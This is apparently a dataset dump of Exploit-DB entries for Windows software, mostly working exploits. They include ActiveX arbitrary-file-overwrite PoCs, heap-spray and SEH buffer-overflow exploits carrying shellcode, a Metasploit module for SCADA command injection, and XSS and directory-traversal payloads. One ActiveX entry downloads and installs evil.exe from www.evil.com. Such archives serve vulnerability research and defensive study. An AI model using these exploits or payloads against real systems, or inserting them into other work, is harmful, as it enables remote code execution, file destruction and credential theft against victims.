deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32826
Description: iDefense COMRaider - ActiveX Control 'write()' Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2009-03-02
Author: Amir Zangeneh

Exploit:
source: https://www.securityfocus.com/bid/33942/info

iDefense COMRaider ActiveX control is prone to a vulnerability that lets attackers overwrite arbitrary local files on the victim's computer in the context of the vulnerable application using the ActiveX control (typically Internet Explorer).

<HTML> <BODY> <object id=target classid="clsid:{9A077D0D-B4A6-4EC0-B6CF-98526DF589E4}"></object> <SCRIPT> function Poc() { arg1="c:\boo.txt" target.write(arg1) } </SCRIPT> <input language=JavaScript onclick=Poc() type=button value="Proof of Concept"> </BODY> </HTML>
Exploit-DB #22872
Description: IglooFTP PRO 3.8 - Multiple Buffer Overflow Vulnerabilities (2)
Type: remote
Platform: windows
Date: 2003-07-07
Author: Peter Winter-Smith

Exploit:
source: https://www.securityfocus.com/bid/8117/info
 
IglooFTP PRO for Windows platforms has been reported prone to multiple buffer overrun vulnerabilities.
 
The issue likely presents itself due do a lack of sufficient bounds checking performed on data that is copied into a reserved internal memory buffer. Remote arbitrary code execution has been confirmed.
 
It should be noted that although this vulnerability has been reported to affect IglooFTP PRO version 3.8, other versions might also be affected.


https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22872.zip
Exploit-DB #22631
Description: IISProtect 2.1/2.2 - Authentication Bypass
Type: remote
Platform: windows
Date: 2003-05-22
Author: iDefense

Exploit:
source: https://www.securityfocus.com/bid/7661/info


http://www.example.com/%70rotected/secret.html
http://www.example.com/protected%2fsecret.html
Exploit-DB #15601
Description: ImageShack Toolbar 4.8.3.75 - Remote Code Execution
Type: remote
Platform: windows
Date: 2010-11-23
Author: Rew

Exploit:
<!--

Title: ImageShack Toolbar 4.8.3.75 Remote Code Execution Exploit
Date: Nov 23, 2010
Author: Rew 
Email: rew [splat] leethax.info 
Link: http://toolbar.imageshack.us/ImageShackToolbar.exe
Version: 4.8.3.75
Tested on: WinXP - IE 6 & 7
CVE: NA (0day)

Note: This object is NOT marked safe for scripting so the impact of this issue is small.
You'll have to change your ActiveX settings to let it to run.  None-the-less, it's
an interesting crash so meh.  Check it out...

There are actually two vulnerable variable (see bottom of page).  Each should be set to some
integer.  This integer is then stored (in hex) directly in ECX.  Then we see...

--- %PROGRAMFILES%\ImageShackToolbar\ImageShackToolbar.dll ---
05501386: 8B 01   MOV EAX,DWORD PTR DS:[ECX]
05501388: 6A 01   PUSH 1
0550138A: FF 10   CALL DWORD PTR DS:[EAX]

All we have to do is spray the heap and then put something usefull in ECX.  pwnt.

Oh yes, and greetz to my bros in irc.rizon.net#beer  :3

PS:
Any information security firms looking for a knowledgeable, motivated intern?
I sure would love to talk to you.

-->

<object classid='clsid:DC922B67-FF61-455E-9D79-959925B6695C' id='target' /></object>

<script>

// calc.exe
var shellcode = unescape(
	'%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+
	'%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+
	'%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+
	'%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+
	'%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+
	'%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+
	'%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+
	'%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'
);

var nops = unescape('%u0c0c%u0c0c');

var headersize = 20;
var slackspace = headersize + shellcode.length;

while(nops.length < slackspace) {
	nops += nops;
}

var fillblock = nops.substring(0, slackspace);
var block = nops.substring(0, nops.length - slackspace);

while((block.length + slackspace) < 0x50000) {
	block = block + block + fillblock;
}

memory=new Array();
for(counter=0; counter<200; counter++){
	memory[counter] = block + shellcode;
}

var arg1=202116108; // 0x0c0c0c0c in decimal

</script>

<a href="javascript:document.getElementById('target').strategy = arg1;">Sploit #1</a><br>
<a href="javascript:document.getElementById('target').target = arg1;">Sploit #2</a>
Exploit-DB #21554
Description: Imatix Xitami 2.5 - GSL Template Cross-Site Scripting
Type: remote
Platform: windows
Date: 2002-06-14
Author: Matthew Murphy

Exploit:
source: https://www.securityfocus.com/bid/5025/info

Imatix Xitami is a webserver for Microsoft Windows operating systems.

It is possible for attackers to construct a URL that will cause scripting code to be embedded in error pages.

Xitami fails to check URLs for the presence of script commands when generating error pages returned from sample scripts that use Errors.gsl, allowing attacker supplied code to execute. As a result, when an innocent user follows such a link, the script code will execute within the context of the hosted site. 

http://www.<IMG%20SRC=""%20ONERROR="alert(document.cookie)">.target.com/error404
Exploit-DB #24304
Description: Imatix Xitami 2.5 - Server-Side Includes Cross-Site Scripting
Type: remote
Platform: windows
Date: 2004-07-22
Author: Oliver Karow

Exploit:
source: https://www.securityfocus.com/bid/10778/info

It is reported that Imatix Xitami is affected by a cross-site scripting vulnerability in the server side includes test script. This issue is due to a failure of the application to properly sanitize user-supplied input.

Successful exploitation of this issue will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user. This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users.

Telnet (dont netcat!) to port 80:

GET /testssi.ssi HTTP/1.1
Host: localhost
User-Agent: <A HREF="shell:windows\system32\calc.exe">PLEASE CLICK HERE</A>
Connection: close

GET /testssi.ssi HTTP/1.1
Host: <script>alert("Please click at \"PLEASE CLICK HERE\"")</script>
User-Agent: <A HREF="shell:windows\system32\calc.exe">PLEASE CLICK HERE</A>
Connection: close
Exploit-DB #8144
Description: Imera ImeraIEPlugin - ActiveX Control Remote Code Execution
Type: remote
Platform: windows
Date: 2009-03-03
Author: Elazar

Exploit:
Who:
 Imera(http://www.imera.com)
 Imera TeamLinks Client(http://teamlinks.imera.com/install.html)

What:
 ImeraIEPlugin.dll
 Version 1.0.2.54
 Dated 12/02/2008
 {75CC8584-86D4-4A50-B976-AA72618322C6}
 http://teamlinks.imera.com/ImeraIEPlugin.cab

How:
 This control is used to install the Imera TeamLinks Client
package. The control fails to validate the content that it is to
download and install is indeed the Imera TeamLinks Client software.

Exploiting this issue is quite simple, like so:

<object classid="clsid:75CC8584-86D4-4A50-B976-AA72618322C6"
id="obj">
	<param name="DownloadProtocol" value="http" />
	<param name="DownloadHost" value="www.evil.com" />
	<param name="DownloadPort" value="80" />
	<param name="DownloadURI" value="evil.exe" />
</object>

Fix:
 The vendor has been notified.

Workaround:
 Set the killbit for the affected control, see
http://support.microsoft.com/kb/240797.
Use the Java installer for TeamLinks Client or install the software
manually from: http://teamlinks.imera.com/download.html

Elazar

# milw0rm.com [2009-03-03]
Exploit-DB #30939
Description: ImgSvr 0.6.21 - Error Message Remote Script Execution
Type: remote
Platform: windows
Date: 2007-12-26
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/27033/info

ImgSvr is prone to a remote script-execution vulnerability because it fails to adequately sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects ImgSvr 0.6.21; other versions may also be vulnerable. 

http://www.example.com/../[code]
Exploit-DB #8284
Description: IncrediMail 5.86 - Cross-Site Scripting Script Execution
Type: remote
Platform: windows
Date: 2009-03-24
Author: Bui Quang Minh

Exploit:
#!/usr/bin/perl -w

# IncrediMail Xe (latest version) XSS Vulnerability 
#
# Discovered by :	Bui Quang Minh
#
# Description	:	The most of popular Mail Client now exclude Script Code for mail content. 
#					It aims to avoid the type of XSS exploitation (For e.g: stolen cookie).
#					IncrediMail also remove Script Code when the user read mail. 
#					However, I found the "Reply" and "Forward" function of the mail client 
#					has not handled mail content well resulting in XSS vulnerability.
#
# My Blog	:	http://minhbq.blogspot.com	

use Net::SMTP;

# ARGV Check
if ($#ARGV != 2) 
{
	print "\nUSAGE: IncrediMail.pl <Mail Server> <Attacker Email> <VicTim Email>\n";
	exit;
}

$host = $ARGV[0];
$attacker = $ARGV[1];
$victim = $ARGV[2];

# Config SMTP
$smtp = Net::SMTP->new(	Host => $host,
						Hello => 'Hello world',
						Timeout => 30)
or die "Couldn't connect to Mail Server\n";

# Attacker and Victim email
$smtp->mail($attacker);
$smtp->to($victim);

# Send email
$buffer = "From: XSS Vulnerability\n".
"To: XSS Vulnerability\n".
"Subject: XSS Vulnerability\n".
"MIME-Version: 1.0\n".
"Content-Type: multipart/mixed;\n".
"    boundary=\"--=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]019\"\n\n".
"----=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]019\n".
"Content-Type: text/html;\n".
"	charset=\"utf-8\"\n".
"Content-Transfer-Encoding: quoted-printable\n\n".
"Reply or Sender for XSS Vulnerability\n".
"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\n".
"<HTML><BODY>\n".
"<script> alert('XSS Vulnerability') </script>\n".
"</BODY></HTML>\n\n".
"----=[PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED][PII_REDACTED]019--";

$smtp->data();
$smtp->datasend($buffer);
$smtp->quit();

print "Send Finish.\n";

# milw0rm.com [2009-03-24]
Exploit-DB #28853
Description: Indusoft Thin Client 7.1 - ActiveX Buffer Overflow
Type: remote
Platform: windows
Date: 2013-10-10
Author: blake

Exploit:
<html>
<!--
InduSoft Thin Client v7.1
Date: October 8, 2013
Exploit Author: Blake
Software Link: http://www.indusoft.com/Products-Downloads/Download-Library
Version: 7.1
Tested on: Windows XP SP3 / IE6

Affected File:i386\novapi7.dll
Member Name: Initialize2
Program ID: NovaPdfOptions
Prototype: Sub Initialize2 ( ByVal p_wsPrinterName As String ,  ByVal p_wsUserName As String ,  ByVal p_wsLicenseKey As String ,  ByVal p_wsApplicationName As String )
-->

<object classid='clsid:0FAB2D9D-DC57-4C4F-939C-38C5382D71BA' id='target' ></object>
<script>

// heap spray for IE6
// calc - 196 bytes
var shellcode = unescape('%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5%u6c61%u0063');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;

var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);

var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x50000) block = block + block + fillblock;

var memory = new Array();
for (i = 0; i < 500; i++){ memory[i] = block + shellcode }

alert("Spray finished, ready to trigger the crash");

buffer = "";
while(buffer.length < 262) buffer+="A";
next_seh = "BB";
seh = unescape("%u0606%u0606");
junk = "";
while(junk.length < 8740) junk+="D";

var arg2="defaultV";
var arg3="defaultV";
var arg4="defaultV";

var arg1=buffer + next_seh + seh + junk;

target.Initialize2(arg1,arg2,arg3,arg4); 

</script>
Exploit-DB #20612
Description: informs picserver 1.0 - Directory Traversal
Type: remote
Platform: windows
Date: 2001-02-05
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2339/info

It is possible for a remote user to gain read access to directories and files outside the root directory of a PicServer. Requesting a specially crafted URL composed of '../' or '.../' sequences will disclose an arbitrary directory. 

http://target/../[file outside web root]
http://target/.../[file outside web root]
Exploit-DB #19679
Description: Infoseek Ultraseek 2.1/3.1 for NT - GET Buffer Overflow
Type: remote
Platform: windows
Date: 1999-12-15
Author: Ussr Labs

Exploit:
source: https://www.securityfocus.com/bid/874/info

Infoseek's Ultraseek enterprise search server listens on port 8765 by default for HTTP commands. The code that handles GET commands has an unchecked buffer that will allow arbitrary code to be executed if it is overflowed.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19679-1.zip

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19679-2.zip
Exploit-DB #34821
Description: Installshield 2009 15.0.0.53 Premier - 'ISWiAutomation15.dll' ActiveX Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2009-09-15
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/43857/info

InstallShield 2009 Premier ActiveX control is prone to an arbitrary-file-overwrite vulnerability.

Attackers can overwrite arbitrary files on the victim's computer in the context of the vulnerable application (typically Internet Explorer) using the ActiveX control.

InstallShield 2009 Premier 15.0.0.53 is vulnerable; other versions may also be affected. 

# Part Expl0it & Bug Codes ( Poc ) : ------------------------------------ <b> Installshiled 2009 premier 15.0.0.53 File Overwrite Expl0it <b/> by : the_Edit0r <b/> <b/> <object classid='clsid:34E7A6F9-F260-46BD-AAC8-1E70E22139D2' id='Edit0r'></object> <script> try{ var obj = document.InsertCustomAction('Edit0r'); obj.AddPage(1); obj.SaveToFile("C:/system_.ini"); window.alert('check C:'); } catch(err){ window.alert('Poc failed'); } </script>
Exploit-DB #6116
Description: IntelliTamper 2.0.7 - HTML Parser Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2008-07-22
Author: Guido Landi

Exploit:
#!/usr/bin/perl
#

use warnings;
use strict;

# CMD="c:\windows\system32\calc.exe"
# [*] x86/alpha_mixed succeeded, final size 344
my $shellcode = 
"\xda\xc3\xd9\x74\x24\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" .
"\x4a\x4a\x43\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41\x58" .
"\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c" .
"\x4d\x38\x47\x34\x45\x50\x43\x30\x43\x30\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x42\x58\x45\x51\x4a\x4f\x4c\x4b" .
"\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a\x4b\x50" .
"\x49\x4c\x4b\x47\x44\x4c\x4b\x45\x51\x4a\x4e\x46\x51\x49\x50" .
"\x4d\x49\x4e\x4c\x4b\x34\x49\x50\x43\x44\x43\x37\x49\x51\x49" .
"\x5a\x44\x4d\x45\x51\x49\x52\x4a\x4b\x4c\x34\x47\x4b\x51\x44" .
"\x47\x54\x45\x54\x43\x45\x4d\x35\x4c\x4b\x51\x4f\x47\x54\x45" .
"\x51\x4a\x4b\x43\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x51\x4f" .
"\x45\x4c\x45\x51\x4a\x4b\x4c\x4b\x45\x4c\x4c\x4b\x43\x31\x4a" .
"\x4b\x4c\x49\x51\x4c\x51\x34\x43\x34\x48\x43\x51\x4f\x50\x31" .
"\x4c\x36\x45\x30\x51\x46\x42\x44\x4c\x4b\x51\x56\x46\x50\x4c" .
"\x4b\x47\x30\x44\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b" .
"\x45\x38\x43\x38\x4b\x39\x4c\x38\x4c\x43\x49\x50\x43\x5a\x50" .
"\x50\x43\x58\x4a\x50\x4d\x5a\x45\x54\x51\x4f\x42\x48\x4c\x58" .
"\x4b\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4a\x47\x42\x43\x46" .
"\x5a\x51\x4c\x42\x57\x42\x49\x42\x4e\x42\x44\x42\x4f\x42\x57" .
"\x43\x43\x51\x4c\x43\x43\x44\x39\x43\x43\x43\x44\x43\x55\x42" .
"\x4d\x47\x43\x50\x32\x51\x4c\x43\x53\x45\x31\x42\x4c\x42\x43" .
"\x46\x4e\x45\x35\x44\x38\x42\x45\x43\x30\x45\x5a\x41\x41"; 


my $evil_html	=	'<html><head><title>ph33r</title></head><body>' .
			#'<a href="http://AAAAAAAAAA' .
			#"\x41" x 450 .
			'<a href="http://' .
			$shellcode .
			"\x41" x 116 .
			"\x39\x5c\x3d\x7e" . # ascii friendly 'call EBX'
			'.htm">ph33r</a>' .
			"</body></html>";

print $evil_html;

# milw0rm.com [2008-07-22]
Exploit-DB #11220
Description: IntelliTamper 2.07/2.08 - Remote Buffer Overflow (SEH)
Type: remote
Platform: windows
Date: 2010-01-22
Author: loneferret

Exploit:
# IntelliTamper 2.07/2.08 (SEH) Remote Buffer Overflow
# Based on PoC: http://www.exploit-db.com/exploits/11217
# Author: loneferret
# Big thanks to: dookie
# Tested on WinXP SP3 English

# Just copy the resulting html file on a web server, and point Intelli Tamper to that adress.
# Should get a calculator

# Thanks to dookie for telling me to stick to it.
# Exploit-DB : Try Harder (tm)


#!/usr/bin/python
#badchar list: \x00\x3C\x01
buffer = '<html><head><title>loneferret test</title></head><body>'
buffer += '<script defer="'

buffer += '\x41' * 6236 # junk
buffer += '\x90' * 180 # nop slide 1

# win32_exec -
# EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com */

buffer += '\x2b\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x4d'
buffer += '\x53\x9e\xc5\x83\xeb\xfc\xe2\xf4\xb1\xbb\xda\xc5\x4d\x53\x15\x80'
buffer += '\x71\xd8\xe2\xc0\x35\x52\x71\x4e\x02\x4b\x15\x9a\x6d\x52\x75\x8c'
buffer += '\xc6\x67\x15\xc4\xa3\x62\x5e\x5c\xe1\xd7\x5e\xb1\x4a\x92\x54\xc8'
buffer += '\x4c\x91\x75\x31\x76\x07\xba\xc1\x38\xb6\x15\x9a\x69\x52\x75\xa3'
buffer += '\xc6\x5f\xd5\x4e\x12\x4f\x9f\x2e\xc6\x4f\x15\xc4\xa6\xda\xc2\xe1'
buffer += '\x49\x90\xaf\x05\x29\xd8\xde\xf5\xc8\x93\xe6\xc9\xc6\x13\x92\x4e'
buffer += '\x3d\x4f\x33\x4e\x25\x5b\x75\xcc\xc6\xd3\x2e\xc5\x4d\x53\x15\xad'
buffer += '\x71\x0c\xaf\x33\x2d\x05\x17\x3d\xce\x93\xe5\x95\x25\xa3\x14\xc1'
buffer += '\x12\x3b\x06\x3b\xc7\x5d\xc9\x3a\xaa\x30\xff\xa9\x2e\x7d\xfb\xbd'
buffer += '\x28\x53\x9e\xc5'

buffer += '\x90' * 243 # nop slide 2

buffer += '\xE9\x55\xFE\xFF\xFF'# jumps back in nop slide 1
buffer += '\xeb\xd0\x90\x90' # small jump back in nop slide 2
buffer += '\x3b\x10\x40\x00' # 0x0040103b intellitamper.exe

buffer += '\x43' * 50

buffer += '">'
buffer + '</body></html>'
file=open('index.html','w')
file.write(buffer)
file.close()
Exploit-DB #29129
Description: Interactive Graphical SCADA System - Remote Command Injection (Metasploit)
Type: remote
Platform: windows
Date: 2013-10-22
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Interactive Graphical SCADA System Remote Command Injection',
      'Description'    => %q{
          This module abuses a directory traversal flaw in Interactive
        Graphical SCADA System v9.00. In conjunction with the traversal
        flaw, if opcode 0x17 is sent to the dc.exe process, an attacker
        may be able to execute arbitrary system commands.
      },
      'Author'         =>
        [
          'Luigi Auriemma',
          'MC'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2011-1566'],
          [ 'OSVDB', '72349'],
          [ 'URL', 'http://aluigi.org/adv/igss_8-adv.txt' ],
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_CMD,
      'Payload'        =>
        {
          'Space'       => 153,
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Windows', {} ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => false,
      'DisclosureDate' => 'Mar 21 2011'))

    register_options(
      [
        Opt::RPORT(12397)
      ], self.class)
  end

  def exploit

    print_status("Sending exploit packet...")

    connect

    packet =  [0x00000100].pack('V') + [0x00000000].pack('V')
    packet << [0x00000100].pack('V') + [0x00000017].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V') + [0x00000000].pack('V')
    packet << [0x00000000].pack('V')
    packet << "..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\"
    packet << "windows\\system32\\cmd.exe\" /c #{payload.encoded}"
    packet << "\x00" * (143) #

    sock.put(packet)
    sock.get_once(-1,0.5)
    disconnect

  end

end
Exploit-DB #25013
Description: Interactive Studio GamePort 3.0/3.1/4.0 - Arbitrary Application Execution
Type: remote
Platform: windows
Date: 2004-12-17
Author: amoXi & Dr.vaXin

Exploit:
source: https://www.securityfocus.com/bid/12006/info

Gameport is reported prone to multiple vulnerabilities in the client and server. These issues may allow an attacker to gain unauthorized access to a vulnerable server and execute arbitrary code on a vulnerable client.

The following specific issues were reported:

An attacker can bypass the connection time limit restrictions imposed by a server.

A local attacker can gain access to a server's administrative password.

A server can execute arbitrary applications on a client. 

^^#CALL#:CMD.exe